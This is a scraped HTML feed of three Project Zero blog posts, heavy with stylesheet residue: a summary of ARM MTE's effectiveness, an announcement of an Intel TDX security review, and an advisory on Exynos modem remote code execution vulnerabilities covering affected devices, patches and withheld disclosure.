"}ul.lst-kix_cm1sbgja1sfy-4{list-style-type:none}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ul.lst-kix_cm1sbgja1sfy-7{list-style-type:none}.lst-kix_w66ctsc8735u-3>li{counter-increment:lst-ctn-kix_w66ctsc8735u-3}ul.lst-kix_cm1sbgja1sfy-6{list-style-type:none}ol.lst-kix_7336pfhg38rf-3.start{counter-reset:lst-ctn-kix_7336pfhg38rf-3 0}ol.lst-kix_w66ctsc8735u-4.start{counter-reset:lst-ctn-kix_w66ctsc8735u-4 0}.lst-kix_7336pfhg38rf-4>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-4,lower-latin) ". "}.lst-kix_s8b3u49h11dr-0>li:before{content:"- "}.lst-kix_s8b3u49h11dr-2>li:before{content:"- "}.lst-kix_7336pfhg38rf-6>li:before{content:"" counter(lst-ctn-kix_7336pfhg38rf-6,decimal) ". "}ol{margin:0;padding:0}table td,table th{padding:0}.DzKqLKheKI-c9{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:justify;height:11pt}.DzKqLKheKI-c5{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.DzKqLKheKI-c17{padding-top:0pt;padding-bottom:3pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.DzKqLKheKI-c12{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.DzKqLKheKI-c10{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:justify}.DzKqLKheKI-c6{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.DzKqLKheKI-c8{color:#000000;text-decoration:none;vertical-align:baseline;font-style:normal}.DzKqLKheKI-c13{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.DzKqLKheKI-c0{font-size:10pt;font-family:"Google Sans";font-weight:400}.DzKqLKheKI-c3{font-size:23pt;font-family:"Google Sans";font-weight:400}.DzKqLKheKI-c14{font-weight:400;font-size:10pt;font-family:"Arial"}.DzKqLKheKI-c7{font-size:10pt;font-family:"Google Sans";font-weight:700}.DzKqLKheKI-c4{font-weight:400;font-family:"Google Sans"}.DzKqLKheKI-c15{margin-left:36pt;padding-left:0pt}.DzKqLKheKI-c2{color:inherit;text-decoration:inherit}.DzKqLKheKI-c1{padding:0;margin:0}.DzKqLKheKI-c11{font-size:19pt}.DzKqLKheKI-c16{margin-left:36pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c13 doc-content">
<p class="DzKqLKheKI-c10"><span class="DzKqLKheKI-c4">By Mark Brand, Project Zero<br><br></span><span class="DzKqLKheKI-c7">In mid-2022, Project Zero was provided with access to pre-production hardware implementing the ARM MTE specification</span><span class="DzKqLKheKI-c0">. This blog post series is based on that review, and includes general conclusions about the effectiveness of MTE as implemented,</span><span class="DzKqLKheKI-c0"> specifically in the context of preventing the exploitation of memory-safety vulnerabilities.</span></p>
<p class="DzKqLKheKI-c9"><span class="DzKqLKheKI-c8 DzKqLKheKI-c0"></span></p>
<p class="DzKqLKheKI-c10"><span class="DzKqLKheKI-c0">Despite its limitations, </span><span class="DzKqLKheKI-c7">MTE is still by far the most promising path forward for improving C/C++ software security</span><span class="DzKqLKheKI-c0"> in </span><span class="DzKqLKheKI-c0">2023</span><span class="DzKqLKheKI-c0">.</span><span class="DzKqLKheKI-c0"> The ability of MTE to detect memory corruption exploitation at the first dangerous access provides a significant improvement in diagnostic and potential security effectiveness. In comparison, most other proposed approaches rely on blocking later stages in the exploitatio</span><span class="DzKqLKheKI-c0">n process, for example various hardware-assisted CFI approaches which aim to block invalid control-flow transfers.</span><span class="DzKqLKheKI-c4"><br></span><span class="DzKqLKheKI-c0"><br></span><span class="DzKqLKheKI-c7">No MTE-based mitigation is going to completely solve the problem of exploitable C/</span><span class="DzKqLKheKI-c7">C++ </span><span class="DzKqLKheKI-c7">memory safety issues</span><span class="DzKqLKheKI-c0 DzKqLKheKI-c8">. The unfortunate reality of speculative side-channel attacks is that MTE will not end memory corruption exploitation. However, there are no other practical proposals with a similarly broad impact on exploitability (and exploitation cost) of such a wide range of memory corruption issues which would additionally address this limitation.<br></span></p>
<p class="DzKqLKheKI-c12"><span class="DzKqLKheKI-c0">Furthermore, given the long history of innovation and research in this space, we</span><span class="DzKqLKheKI-c0"> believe </span><span class="DzKqLKheKI-c0">that it is not possible to build a software solution for C/C++ memory safety with comparable coverage to MTE that has less runtime overhead than </span><span class="DzKqLKheKI-c0 DzKqLKheKI-c6"><a class="DzKqLKheKI-c21" href="https://clang.llvm.org/docs/AddressSanitizer.html">AddressSanitizer</a></span><span class="DzKqLKheKI-c0">/</span><span class="DzKqLKheKI-c6 DzKqLKheKI-c0"><a class="DzKqLKheKI-c21" href="https://clang.llvm.org/docs/HardwareAssistedAddressSanitizerDesign.html">HWAsan</a></span><span class="DzKqLKheKI-c8 DzKqLKheKI-c0">. It's clear that such an overhead is not acceptable for most production workloads.</span></p>
<p class="DzKqLKheKI-c5"><span class="DzKqLKheKI-c8 DzKqLKheKI-c0"></span></p>
<p class="DzKqLKheKI-c12"><span class="DzKqLKheKI-c7">Products that expect to contain large C/C++ codebases in the long term, who consider the exploitation of memory corruption vulnerabilities to be a key risk for their product security, should actively drive support for ARM's MTE in their products</span><span class="DzKqLKheKI-c8 DzKqLKheKI-c0">.<br><br>For a more detailed analysis, see the following linked blog posts:</span></p>
<p class="DzKqLKheKI-c5"><span class="DzKqLKheKI-c8 DzKqLKheKI-c0"></span></p><ol class="c1 lst-kix_p0bbun9lfefs-0 start" start="1"><li style="margin-left: 46pt;" class="c12 c15 li-bullet-0"><span class="DzKqLKheKI-c6 DzKqLKheKI-c0"><a class="DzKqLKheKI-c21" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-1.html">Implementation Testing</a></span><span class="DzKqLKheKI-c8 DzKqLKheKI-c0"> - An objective summary of the tests performed, and some basic analysis. If you're interested in implementing a mitigation based on MTE, you should read this document first as it will give you more detailed technical background.</span></li></ol>
<p class="DzKqLKheKI-c5 DzKqLKheKI-c16"><span class="DzKqLKheKI-c8 DzKqLKheKI-c0"></span></p><ol class="c1 lst-kix_p0bbun9lfefs-0" start="2"><li style="margin-left: 46pt;" class="c12 c15 li-bullet-0"><span class="DzKqLKheKI-c6 DzKqLKheKI-c0"><a class="DzKqLKheKI-c21" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-2-mitigation.html">Mitigation Case Studies</a></span><span class="DzKqLKheKI-c8 DzKqLKheKI-c0"> - A subjective assessment of the impact of various mitigation approaches based on the use of MTE in various user-mode contexts, based on our experiences during the tests performed in Part 1. If you're not interested in implementing a mitigation based on MTE, but you are interested in the limits of how effective such a mitigation might be, you can skip Part 1 and start here.<br></span></li><li style="margin-left: 46pt;" class="c12 c15 li-bullet-0"><span class="DzKqLKheKI-c6 DzKqLKheKI-c0"><a class="DzKqLKheKI-c21" href="https://googleprojectzero.blogspot.com/2023/08/mte-as-implemented-part-3-kernel.html">The Kernel</a></span><span class="DzKqLKheKI-c0"> - A subjective assessment of the additional issues faced in using MTE for a kernel-mode mitigation.</span></li></ol>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-86205417576690292172023-04-24T09:27:00.001-07:002023-04-28T15:43:59.992-07:00Release of a Technical Report into Intel Trust Domain Extensions<style type="text/css">ol{margin:0;padding:0}table td,table th{padding:0}.RqhFbizZKN-c0{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.RqhFbizZKN-c2{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.RqhFbizZKN-c4{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.RqhFbizZKN-c1{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.RqhFbizZKN-c7{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.RqhFbizZKN-c5{color:inherit;text-decoration:inherit}.RqhFbizZKN-c3{border:1px solid black;margin:5px}.RqhFbizZKN-c6{height:11pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c7 doc-content">
<p class="RqhFbizZKN-c2"><span>Today, members of Google Project Zero and Google Cloud are releasing a report on a security review of Intel's </span><span class="RqhFbizZKN-c4"><a class="RqhFbizZKN-c51" href="https://www.intel.com/content/www/us/en/developer/articles/technical/intel-trust-domain-extensions.html">Trust Domain Extensions</a></span><span> (TDX). TDX is a feature introduced to support </span><span class="RqhFbizZKN-c4"><a class="RqhFbizZKN-c51" href="https://cloud.google.com/confidential-computing">Confidential Computing</a></span><span class="RqhFbizZKN-c0"> by providing hardware isolation of virtual machine guests at runtime. This isolation is achieved by securing sensitive resources, such as guest physical memory. This restricts what information is exposed to the hosting environment.</span></p>
<p class="RqhFbizZKN-c2 RqhFbizZKN-c6"><span class="RqhFbizZKN-c0"></span></p>
<p class="RqhFbizZKN-c2"><span class="RqhFbizZKN-c0">The security review was performed in cooperation with Intel engineers on pre-release source code for version 1.0 of the TDX feature. This code is the basis for the TDX implementation which will be shipping in limited SKUs of the 4th Generation Intel Xeon Scalable CPUs.</span></p>
<p class="RqhFbizZKN-c2 RqhFbizZKN-c6"><span class="RqhFbizZKN-c0"></span></p>
<p class="RqhFbizZKN-c2"><span class="RqhFbizZKN-c0">The result of the review was the discovery of 10 confirmed security vulnerabilities which were fixed before the final release of products with the TDX feature. The final report highlights the most interesting of these issues and provides an overview of the feature's architecture. 5 additional areas were identified for defense-in-depth changes to subsequent versions of TDX. </span></p>
<p class="RqhFbizZKN-c2 RqhFbizZKN-c6"><span class="RqhFbizZKN-c0"></span></p>
<p class="RqhFbizZKN-c2"><span>You can read more details about the review on the </span><span class="RqhFbizZKN-c4"><a class="RqhFbizZKN-c51" href="https://cloud.google.com/blog/products/identity-security/rsa-google-intel-confidential-computing-more-secure">Google Cloud security blog</a></span><span> and the </span><span class="RqhFbizZKN-c4"><a class="RqhFbizZKN-c51" href="https://services.google.com/fh/files/misc/intel_tdx_-_full_report_041423.pdf">final report</a></span><span>. If you would like to review the source code yourself, Intel has made it available on the </span><span class="RqhFbizZKN-c4"><a class="RqhFbizZKN-c51" href="https://www.intel.com/content/www/us/en/developer/articles/technical/intel-trust-domain-extensions.html#inpage-nav-5">TDX website</a></span><span class="RqhFbizZKN-c0">.</span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-86861788740573577132023-03-16T11:07:00.015-07:002023-03-21T14:47:22.736-07:00Multiple Internet to Baseband Remote Code Execution Vulnerabilities in Exynos Modems<style type="text/css">.lst-kix_iavizzpdbbty-5>li{counter-increment:lst-ctn-kix_iavizzpdbbty-5}ol.lst-kix_iavizzpdbbty-0{list-style-type:none}ol.lst-kix_iavizzpdbbty-4.start{counter-reset:lst-ctn-kix_iavizzpdbbty-4 0}ol.lst-kix_iavizzpdbbty-2{list-style-type:none}ol.lst-kix_iavizzpdbbty-1{list-style-type:none}ol.lst-kix_iavizzpdbbty-0.start{counter-reset:lst-ctn-kix_iavizzpdbbty-0 0}.lst-kix_pidqkndckybh-1>li:before{content:"\0025cb "}.lst-kix_pidqkndckybh-2>li:before{content:"\0025a0 "}ol.lst-kix_iavizzpdbbty-7.start{counter-reset:lst-ctn-kix_iavizzpdbbty-7 0}.lst-kix_tkumn87s07hu-6>li:before{content:"\0025cf "}.lst-kix_pidqkndckybh-0>li:before{content:"\0025cf "}.lst-kix_tkumn87s07hu-5>li:before{content:"\0025a0 "}.lst-kix_tkumn87s07hu-4>li:before{content:"\0025cb "}.lst-kix_tkumn87s07hu-3>li:before{content:"\0025cf "}ul.lst-kix_pidqkndckybh-8{list-style-type:none}.lst-kix_tkumn87s07hu-0>li:before{content:"\0025cf "}ul.lst-kix_tkumn87s07hu-0{list-style-type:none}ul.lst-kix_pidqkndckybh-7{list-style-type:none}ul.lst-kix_tkumn87s07hu-1{list-style-type:none}.lst-kix_iavizzpdbbty-6>li{counter-increment:lst-ctn-kix_iavizzpdbbty-6}ul.lst-kix_pidqkndckybh-6{list-style-type:none}ul.lst-kix_tkumn87s07hu-2{list-style-type:none}ul.lst-kix_pidqkndckybh-5{list-style-type:none}ul.lst-kix_tkumn87s07hu-3{list-style-type:none}.lst-kix_tkumn87s07hu-2>li:before{content:"\0025a0 "}ul.lst-kix_tkumn87s07hu-4{list-style-type:none}.lst-kix_pidqkndckybh-8>li:before{content:"\0025a0 "}ul.lst-kix_tkumn87s07hu-5{list-style-type:none}.lst-kix_tkumn87s07hu-1>li:before{content:"\0025cb "}ul.lst-kix_tkumn87s07hu-6{list-style-type:none}ul.lst-kix_tkumn87s07hu-7{list-style-type:none}ol.lst-kix_iavizzpdbbty-5.start{counter-reset:lst-ctn-kix_iavizzpdbbty-5 0}ol.lst-kix_iavizzpdbbty-8.start{counter-reset:lst-ctn-kix_iavizzpdbbty-8 0}.lst-kix_pidqkndckybh-3>li:before{content:"\0025cf "}ol.lst-kix_iavizzpdbbty-4{list-style-type:none}.lst-kix_iavizzpdbbty-1>li{counter-increment:lst-ctn-kix_iavizzpdbbty-1}ol.lst-kix_iavizzpdbbty-3{list-style-type:none}.lst-kix_iavizzpdbbty-4>li{counter-increment:lst-ctn-kix_iavizzpdbbty-4}ol.lst-kix_iavizzpdbbty-6{list-style-type:none}ol.lst-kix_iavizzpdbbty-5{list-style-type:none}ol.lst-kix_iavizzpdbbty-8{list-style-type:none}ol.lst-kix_iavizzpdbbty-1.start{counter-reset:lst-ctn-kix_iavizzpdbbty-1 0}ol.lst-kix_iavizzpdbbty-7{list-style-type:none}.lst-kix_pidqkndckybh-4>li:before{content:"\0025cb "}ul.lst-kix_tkumn87s07hu-8{list-style-type:none}.lst-kix_pidqkndckybh-5>li:before{content:"\0025a0 "}.lst-kix_pidqkndckybh-6>li:before{content:"\0025cf "}.lst-kix_sqy4x6nn8j70-7>li:before{content:"\0025cb "}.lst-kix_pidqkndckybh-7>li:before{content:"\0025cb "}.lst-kix_sqy4x6nn8j70-8>li:before{content:"\0025a0 "}.lst-kix_iavizzpdbbty-7>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-7,lower-latin) ". "}.lst-kix_iavizzpdbbty-6>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-6,decimal) ". "}.lst-kix_iavizzpdbbty-8>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-8,lower-roman) ". "}.lst-kix_sqy4x6nn8j70-3>li:before{content:"\0025cf "}ul.lst-kix_sqy4x6nn8j70-8{list-style-type:none}ul.lst-kix_sqy4x6nn8j70-7{list-style-type:none}.lst-kix_sqy4x6nn8j70-2>li:before{content:"\0025a0 "}.lst-kix_sqy4x6nn8j70-6>li:before{content:"\0025cf "}ul.lst-kix_sqy4x6nn8j70-4{list-style-type:none}ul.lst-kix_sqy4x6nn8j70-3{list-style-type:none}.lst-kix_iavizzpdbbty-2>li{counter-increment:lst-ctn-kix_iavizzpdbbty-2}.lst-kix_iavizzpdbbty-4>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-4,lower-latin) ". "}ul.lst-kix_sqy4x6nn8j70-6{list-style-type:none}.lst-kix_sqy4x6nn8j70-5>li:before{content:"\0025a0 "}ul.lst-kix_sqy4x6nn8j70-5{list-style-type:none}.lst-kix_iavizzpdbbty-5>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-5,lower-roman) ". "}.lst-kix_iavizzpdbbty-7>li{counter-increment:lst-ctn-kix_iavizzpdbbty-7}ul.lst-kix_sqy4x6nn8j70-0{list-style-type:none}ul.lst-kix_sqy4x6nn8j70-2{list-style-type:none}ul.lst-kix_sqy4x6nn8j70-1{list-style-type:none}.lst-kix_sqy4x6nn8j70-4>li:before{content:"\0025cb "}.lst-kix_iavizzpdbbty-0>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-0,decimal) ". "}.lst-kix_iavizzpdbbty-3>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-3,decimal) ". "}ul.lst-kix_pidqkndckybh-0{list-style-type:none}.lst-kix_iavizzpdbbty-2>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-2,lower-roman) ". "}.lst-kix_iavizzpdbbty-1>li:before{content:"" counter(lst-ctn-kix_iavizzpdbbty-1,lower-latin) ". "}.lst-kix_iavizzpdbbty-3>li{counter-increment:lst-ctn-kix_iavizzpdbbty-3}.lst-kix_sqy4x6nn8j70-1>li:before{content:"\0025cb "}ul.lst-kix_pidqkndckybh-4{list-style-type:none}ul.lst-kix_pidqkndckybh-3{list-style-type:none}ol.lst-kix_iavizzpdbbty-2.start{counter-reset:lst-ctn-kix_iavizzpdbbty-2 0}.lst-kix_sqy4x6nn8j70-0>li:before{content:"\0025cf "}ul.lst-kix_pidqkndckybh-2{list-style-type:none}ul.lst-kix_pidqkndckybh-1{list-style-type:none}.lst-kix_iavizzpdbbty-0>li{counter-increment:lst-ctn-kix_iavizzpdbbty-0}ol.lst-kix_iavizzpdbbty-3.start{counter-reset:lst-ctn-kix_iavizzpdbbty-3 0}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_tkumn87s07hu-7>li:before{content:"\0025cb "}.lst-kix_tkumn87s07hu-8>li:before{content:"\0025a0 "}ol.lst-kix_iavizzpdbbty-6.start{counter-reset:lst-ctn-kix_iavizzpdbbty-6 0}.lst-kix_iavizzpdbbty-8>li{counter-increment:lst-ctn-kix_iavizzpdbbty-8}ol{margin:0;padding:0}table td,table th{padding:0}.nAjVSlbajO-c2{margin-left:36pt;padding-top:0pt;padding-left:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.nAjVSlbajO-c3{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.nAjVSlbajO-c1{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left;height:11pt}.nAjVSlbajO-c18{padding-top:20pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.nAjVSlbajO-c10{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.nAjVSlbajO-c16{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.nAjVSlbajO-c6{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.nAjVSlbajO-c7{color:#000000;font-weight:400;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.nAjVSlbajO-c5{color:#000000;font-weight:400;vertical-align:baseline;font-size:20pt;font-family:"Arial";font-style:normal}.nAjVSlbajO-c4{color:#000000;font-weight:700;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:italic}.nAjVSlbajO-c20{color:#000000;font-weight:400;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.nAjVSlbajO-c15{color:#000000;font-weight:400;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.nAjVSlbajO-c11{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.nAjVSlbajO-c8{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.nAjVSlbajO-c12{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline line-through}.nAjVSlbajO-c0{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;text-decoration:line-through}.nAjVSlbajO-c23{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.nAjVSlbajO-c22{padding:0;margin:0}.nAjVSlbajO-c9{color:inherit;text-decoration:inherit}.nAjVSlbajO-c24{font-weight:700}.nAjVSlbajO-c13{margin-left:36pt}.nAjVSlbajO-c19{height:11pt}.nAjVSlbajO-c14{font-style:italic}.nAjVSlbajO-c17{text-decoration:none}.nAjVSlbajO-c21{height:20pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c23 doc-content">
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c14">Posted by Tim Willis, Project Zero</span></p>
<p class="nAjVSlbajO-c1"><span class="nAjVSlbajO-c4 nAjVSlbajO-c17"></span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3">In late 2022 and early 2023, Project Zero reported eighteen 0-day vulnerabilities in Exynos Modems produced by Samsung Semiconductor. The four most severe of these eighteen vulnerabilities (CVE-2023-24033, CVE-2023-26496, CVE-2023-26497 and CVE-2023-26498) allowed for Internet-to-baseband remote code execution. Tests conducted by Project Zero confirm that those four vulnerabilities allow an attacker to remotely compromise a phone at the baseband level with no user interaction, and require only that the attacker know the victim's phone number. With limited additional research and development, we believe that skilled attackers would be able to quickly create an operational exploit to compromise affected devices silently and remotely.</span></p>
<p class="nAjVSlbajO-c1"><span class="nAjVSlbajO-c3"></span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3">The fourteen other related vulnerabilities (CVE-2023-26072, CVE-2023-26073, CVE-2023-26074, CVE-2023-26075, CVE-2023-26076 and nine other vulnerabilities that are yet to be assigned CVE-IDs) were not as severe, as they require either a malicious mobile network operator or an attacker with local access to the device.</span></p><h2 class="nAjVSlbajO-c10" id="h.pizd28g4v1pz"><span class="nAjVSlbajO-c16">Affected devices</span></h2>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c8"><a class="nAjVSlbajO-c91" href="https://semiconductor.samsung.com/support/quality-support/product-security-updates/">Samsung Semiconductor's advisories</a></span><span class="nAjVSlbajO-c3"> provide the list of Exynos chipsets that are affected by these vulnerabilities. Based on information from public websites that map chipsets to devices, affected products likely include:</span></p>
<p class="nAjVSlbajO-c1"><span class="nAjVSlbajO-c3"></span></p><ul style="padding: 0;" class="c22 lst-kix_pidqkndckybh-0 start"><li style="margin-left: 46pt;" class="c2 li-bullet-0"><span class="nAjVSlbajO-c3">Mobile devices from Samsung, including those in the S22, M33, M13, M12, A71, A53, A33, A21s, A13, A12 and A04 series;</span></li><li style="margin-left: 46pt;" class="c2 li-bullet-0"><span class="nAjVSlbajO-c3">Mobile devices from Vivo, including those in the S16, S15, S6, X70, X60 and X30 series;</span></li><li style="margin-left: 46pt;" class="c2 li-bullet-0"><span class="nAjVSlbajO-c3">The Pixel 6 and Pixel 7 series of devices from Google; and</span></li><li style="margin-left: 46pt;" class="c2 li-bullet-0"><span class="nAjVSlbajO-c3">any vehicles that use the Exynos Auto T5123 chipset.</span></li></ul>
<p class="nAjVSlbajO-c1"><span class="nAjVSlbajO-c3"></span></p><h2 class="nAjVSlbajO-c10" id="h.266y8s5a0j0v"><span class="nAjVSlbajO-c16">Patch timelines</span></h2>
<p class="nAjVSlbajO-c6"><span>We expect that patch timelines will vary per manufacturer (for example, affected Pixel devices have received a fix for all four of the severe Internet-to-baseband remote code execution vulnerabilities in the </span><span class="nAjVSlbajO-c8"><a class="nAjVSlbajO-c91" href="https://source.android.com/docs/security/bulletin/pixel/2023-03-01">March 2023</a></span><span class="nAjVSlbajO-c3"> security update). In the meantime, users with affected devices can protect themselves from the baseband remote code execution vulnerabilities mentioned in this post by turning off Wi-Fi calling and Voice-over-LTE (VoLTE) in their device settings, although your ability to change this setting can be dependent on your carrier. As always, we encourage end users to update their devices as soon as possible, to ensure that they are running the latest builds that fix both disclosed and undisclosed security vulnerabilities.</span></p><h2 class="nAjVSlbajO-c10" id="h.ly3d3qye8ims"><span class="nAjVSlbajO-c16">Four vulnerabilities being withheld from disclosure</span></h2>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3">Under our standard disclosure policy, Project Zero discloses security vulnerabilities to the public a set time after reporting them to a software or hardware vendor. In some rare cases where we have assessed attackers would benefit significantly more than defenders if a vulnerability was disclosed, we have made an exception to our policy and delayed disclosure of that vulnerability.</span></p>
<p class="nAjVSlbajO-c1"><span class="nAjVSlbajO-c3"></span></p>
<p class="nAjVSlbajO-c11"><span>Due to a very rare combination of level of access these vulnerabilities provide and the speed with which we believe a reliable operational exploit could be crafted, we have decided to make a policy exception to delay disclosure for the four vulnerabilities that allow for Internet-to-baseband remote code execution. We will continue our history of transparency by </span><span class="nAjVSlbajO-c8"><a class="nAjVSlbajO-c91" href="https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html#exceptions">publicly sharing disclosure policy exceptions</a></span><span class="nAjVSlbajO-c3">, and will add these issues to that list once they are all disclosed.</span></p><h2 class="nAjVSlbajO-c10" id="h.21040ne9k0g4"><span class="nAjVSlbajO-c16">Related vulnerabilities not being withheld</span></h2><p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3">Of the remaining fourteen vulnerabilities, we are disclosing four vulnerabilities (CVE-2023-26072, CVE-2023-26073, CVE-2023-26074 and CVE-2023-26075) that have exceeded Project Zero's standard 90-day deadline today. These issues have been publicly disclosed in our <span class="nAjVSlbajO-c8"><a class="nAjVSlbajO-c91" href="https://bugs.chromium.org/p/project-zero/issues/list?sort=-id&q=&can=1">issue tracker</a></span>, as they do not meet the high standard to be withheld from disclosure. The remaining ten vulnerabilities in this set have not yet hit their 90-day deadline, but will be publicly disclosed at that point if they are still unfixed.</span></p>
